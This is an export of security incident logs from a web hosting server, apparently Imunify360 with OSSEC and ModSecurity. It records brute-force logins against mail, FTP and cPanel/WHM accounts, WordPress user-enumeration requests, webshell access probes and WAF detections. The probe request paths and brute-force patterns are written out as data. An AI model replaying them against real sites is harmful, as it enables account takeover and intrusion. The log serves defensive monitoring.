# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 95.0.32.31
country_id: 298795
description:
Jun 13 11:36:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 95.0.32.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.32.30.69
country_id: 2017370
description:
2026-06-13 11:39:35 dovecot_login authenticator failed for H=broadband-188-32-30-69.ip.moscow.rt.ru (110-25-107-25.adsl.fetnet.net) [188.32.30.69]:60274: 535 Incorrect authentication data (set_id=wages@wages.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.138.74
country_id: 1269750
description:
2026-06-13 11:40:02 dovecot_login authenticator failed for H=([121.172.104.204]) [125.19.138.74]:49506: 535 Incorrect authentication data (set_id=wages)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.138.74
country_id: 1269750
description:
Jun 13 11:40:00 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.138.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.32.30.69
country_id: 2017370
description:
Jun 13 11:39:33 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.32.30.69 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.65.139.36
country_id: 2960313
domain: 146.56.180.42:3333
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/146.56.180.42:3333/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.168.127.35
country_id: 2363686
domain: www.letabloid.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 43.156.44.207
country_id: 1880251
domain: www.ca-togo.org
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/www.sanlam.com||User:egjvuiox||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 11:52:15 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 142.44.214.106
country_id: 6251999
domain: snb.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/91.0.4472.77 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 76.133.97.153
country_id: 6252001
description:
Jun 13 11:53:31 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 76.133.97.153 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.188
country_id: 1880251
description:
47.128.96.188 - - [13/Jun/2026:11:54:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10198421&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fismac%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781351697 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/ismac/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.229.178.176
country_id: 1522867
description:
Jun 13 11:55:16 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.229.178.176 has been locked due to Imunify RBL


plugin: modsec
rule: 77277975
name: IM360 WAF: XMLRPC getUsersBlogs RBL brute
abuser: 146.19.140.183
country_id: 174982
domain: www.butodra.tg
description:
IM360 WAF: XMLRPC getUsersBlogs RBL brute||Username:DdWiN@CZ3v47.www.butodra.tg||Method:wp.getUsersBlogs


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 32.198.69.149
country_id: 6252001
domain: www.dev.centif.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: www.shop.soena.tg
description:


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: www.soenatechno.soena.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [13/Jun/2026:12:07:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9986452&pdata=http%253A%252F%252Fwww.snbtogo.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781352451 HTTP/1.1" 302 0 www.snbtogo.snb.tg "http://www.snbtogo.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.44.140.86
country_id: 690791
description:
Jun 13 12:08:57 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.44.140.86 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.92.85.91
country_id: 1522867
description:
[2026-06-13 12:09:21 +0000] info [cpaneld] 45.92.85.91 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.170.10.151
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.221.2.119
country_id: 1835841
description:
Jun 13 12:10:35 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.221.2.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.221.2.119
country_id: 1835841
description:
2026-06-13 12:10:37 dovecot_login authenticator failed for H=(91.244.113.178.wirenet.tv) [211.221.2.119]:54750: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:10:27 ns5 pure-ftpd[2393420]: (?@45.38.18.148) [WARNING] Authentication failed for user [e.carine]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.107
country_id: 3469034
description:
Jun 13 12:10:26 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.107 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.202.207.171
country_id: 2233387
description:
41.202.207.171 - - [13/Jun/2026:12:11:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646685&pdata=https%253A%252F%252Fcogerisq.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781352702 HTTP/2.0" 302 0 cogerisq.tg "https://cogerisq.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.202.207.171


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 104.28.156.216
country_id: 1819730
description:
Jun 13 12:12:43 ns5 pure-ftpd[2395342]: (?@104.28.156.216) [INFO] New connection from 104.28.156.216


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 104.28.156.216
country_id: 1819730
description:
Jun 13 12:12:50 ns5 pure-ftpd[2395342]: (?@104.28.156.216) [WARNING] Authentication failed for user [rolle]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.216
country_id: 1819730
description:
[2026-06-13 12:12:49 +0000] info [cpaneld] 104.28.156.216 - rolle "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rolle (has_cpuser_file failed)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.117
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2346||QS:add-to-cart=2346||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.81.66.187
country_id: 1643084
description:
[2026-06-13 12:14:16 +0000] info [cpaneld] 103.81.66.187 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.190.3.173
country_id: 6252001
description:
198.190.3.173 - - [13/Jun/2026:12:17:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908774&pdata=https%253A%252F%252Fchuso.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781353037 HTTP/2.0" 302 0 chuso.tg "https://chuso.tg/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.190.3.173


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 64.62.156.162
country_id: 6252001
domain: 154.70.82.246
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/135.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.238.178.6
country_id: 3469034
description:
Jun 13 12:19:21 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.238.178.6 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.238.178.6
country_id: 3469034
description:
2026-06-13 12:19:23 dovecot_login authenticator failed for H=([187.8.89.114]) [186.238.178.6]:41483: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.233
country_id: 130758
domain: tensai.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/images/images/cache.php||SC:/home/ulduzncs/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.233
country_id: 130758
domain: tensai.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.16||T:APACHE||MV:/images/images/images/images/images/images/cache.php||SC:/home/ulduzncs/public_html/images||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 34.19.62.225
country_id: 6252001
domain: caissederetraites.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/149.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 169.150.222.72
country_id: 1819730
description:
Jun 13 12:21:55 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 169.150.222.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 169.150.222.72
country_id: 1819730
description:
2026-06-13 12:21:57 dovecot_plain authenticator failed for H=(ggzfm8073hmoc6po7oqz6) [169.150.222.72]:12461: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:27:39 ns5 pure-ftpd[2404970]: (?@45.38.18.148) [WARNING] Authentication failed for user [netmastersarl]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:28:40 ns5 pure-ftpd[2405596]: (?@45.38.18.148) [WARNING] Authentication failed for user [netmast]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.68.226.171
country_id: 3017382
description:
Jun 13 12:28:44 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.68.226.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.68.226.171
country_id: 3017382
description:
2026-06-13 12:28:46 dovecot_login authenticator failed for H=vps-b674cd8d.vps.ovh.net ([36.135.103.29]) [51.68.226.171]:36992: 535 Incorrect authentication data (set_id=it@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.162.13
country_id: 6252001
description:
[2026-06-13 12:31:25 +0000] info [cpaneld] 136.227.162.13 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:32:00 ns5 pure-ftpd[2408711]: (?@45.38.18.148) [WARNING] Authentication failed for user [masfloy]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.186.167.110
country_id: 1562822
description:
[2026-06-13 12:34:52 +0000] info [cpaneld] 58.186.167.110 - unive "GET /login/?login_only=1&user=unive&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user unive (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.38.96.188
country_id: 2921044
description:
[2026-06-13 12:34:55 +0000] info [cpaneld] 91.38.96.188 - univ "GET /login/?login_only=1&user=univ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user univ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.178.35.225
country_id: 2464461
description:
[2026-06-13 12:35:02 +0000] info [cpaneld] 196.178.35.225 - un "GET /login/?login_only=1&user=un&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user un (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.154.100
country_id: 6252001
description:
Jun 13 12:35:08 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.190.154.100 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.187.18
country_id: 3996063
description:
[2026-06-13 12:34:36 +0000] info [cpaneld] 187.190.187.18 - universco "GET /login/?login_only=1&user=universco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user universco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.185.97
country_id: 3658394
description:
[2026-06-13 12:34:40 +0000] info [cpaneld] 157.100.185.97 - universc "GET /login/?login_only=1&user=universc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user universc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.131.189.41
country_id: 3469034
description:
[2026-06-13 12:34:47 +0000] info [cpaneld] 177.131.189.41 - univer "GET /login/?login_only=1&user=univer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user univer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.38.248.241
country_id: 1282988
description:
[2026-06-13 12:34:58 +0000] info [cpaneld] 103.38.248.241 - uni "GET /login/?login_only=1&user=uni&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user uni (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.44
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:206.232.103.44||TA:206.232.103.44||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-37.213.32.21.59||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:38:16 ns5 pure-ftpd[2413213]: (?@81.171.72.225) [WARNING] Authentication failed for user [aogodmm]


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 147.124.198.158
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:147.124.198.158||TA:147.124.198.158||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.177.40.29
country_id: 2017370
description:
Jun 13 12:39:39 ns5 auth[2322161]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.177.40.29 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.177.40.29
country_id: 2017370
description:
2026-06-13 12:39:41 dovecot_login authenticator failed for H=([49.124.148.204]) [178.177.40.29]:57540: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.27.228.68
country_id: 298795
description:
2026-06-13 12:39:45 dovecot_plain authenticator failed for H=(i8sjxcmp0t1xk2qstfd) [5.27.228.68]:39362: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:40:36 ns5 pure-ftpd[2414841]: (?@81.171.72.225) [WARNING] Authentication failed for user [esso]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 195.63.3.43
country_id: 6252001
domain: cafe.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:42:11 ns5 pure-ftpd[2416272]: (?@81.171.72.225) [WARNING] Authentication failed for user [tresorerie]


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users?context=view&who=authors&per_page=100&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 174.118.45.202
country_id: 6251999
domain: tdn.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.16||T:APACHE||MV:/wp-json/wp/v2/users/2?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.227.59.135
country_id: 3996063
description:
[2026-06-13 12:45:32 +0000] info [cpaneld] 177.227.59.135 - rel "GET /login/?login_only=1&user=rel&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user rel (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.25.106.137
country_id: 2017370
description:
[2026-06-13 12:45:34 +0000] info [cpaneld] 95.25.106.137 - re "GET /login/?login_only=1&user=re&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user re (has_cpuser_file failed)


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 45.38.18.148
country_id: 6252001
description:
Jun 13 12:45:23 ns5 pure-ftpd[2418412]: (?@45.38.18.148) [WARNING] Authentication failed for user [radiotogocomtg]


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 81.171.72.225
country_id: 1643084
description:
Jun 13 12:48:50 ns5 pure-ftpd[2420531]: (?@81.171.72.225) [WARNING] Authentication failed for user [arsetg]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.250.115.173
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/3d322f HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-13 12:51:43 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.26.185.143
country_id: 6252001
description:
34.26.185.143 - - [13/Jun/2026:12:52:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7521177&pdata=https%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355135 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.26.185.143


plugin: modsec
rule: 77391380
name: IM360 WAF: Possible SQLi in arguments
abuser: 34.106.90.90
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Possible SQLi in arguments||MVN:REQUEST_HEADERS:sec-ch-ua||MV:\" not a;brand\";v=\"99\", \"chromium\";v=\"149\", \"google chrome\";v=\"149\"||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.238.175.79
country_id: 6252001
domain: tps.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.0.0 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.26.185.143
country_id: 6252001
description:
34.26.185.143 - - [13/Jun/2026:12:53:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10013644&pdata=https%253A%252F%252Ftogointerim.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355196 HTTP/2.0" 302 0 togointerim.net "https://togointerim.net/" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.26.185.143


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.192.225.197
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/98401245 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.1.77
country_id: 2363686
description:
[2026-06-13 12:55:55 +0000] info [webmaild] 196.170.1.77 - info@matosshop.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 4.154.177.79
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request body parsing error||err_msg:JSON parsing error: lexical error: invalid char in json text.\n||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 4.154.177.79
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.7680.165 Safari/537.36||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.43.243.170
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/370461910 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.195.210.170
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/598635 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 13:01:08 +0000] info [whostmgrd] 176.65.148.160 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 13:01:02 +0000] info [whostmgrd] 176.65.148.160 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.65.148.160
country_id: 2750405
description:
[2026-06-13 13:01:20 +0000] info [whostmgrd] 176.65.148.160 - root "GET /cpsess6299714781/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.20.129
country_id: 2750405
description:
158.173.20.129 - - [13/Jun/2026:13:01:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856359&pdata=http%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355683 HTTP/1.1" 302 0 wages.tg "http://wages.tg/" "Mozilla/5.0 (Linux; arm_64; Android 15; 2311DRK48G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.7680.64 YaSearchBrowser/26.44.1 BroPP/1.0 YaSearchApp/26.44.1 webOmni Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.20.129


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.155.21.215
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/486208489 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [13/Jun/2026:13:03:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9868231&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fsuper-lig%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781355831 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/super-lig/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.92.129
country_id: 6252001
description:
[2026-06-13 13:04:20 +0000] info [cpaneld] 134.199.92.129 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.61.130.187
country_id: 6252001
description:
[2026-06-13 13:05:51 +0000] info [cpaneld] 45.61.130.187 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 192.3.24.135
country_id: 6252001
domain: launetogo.tg
description:
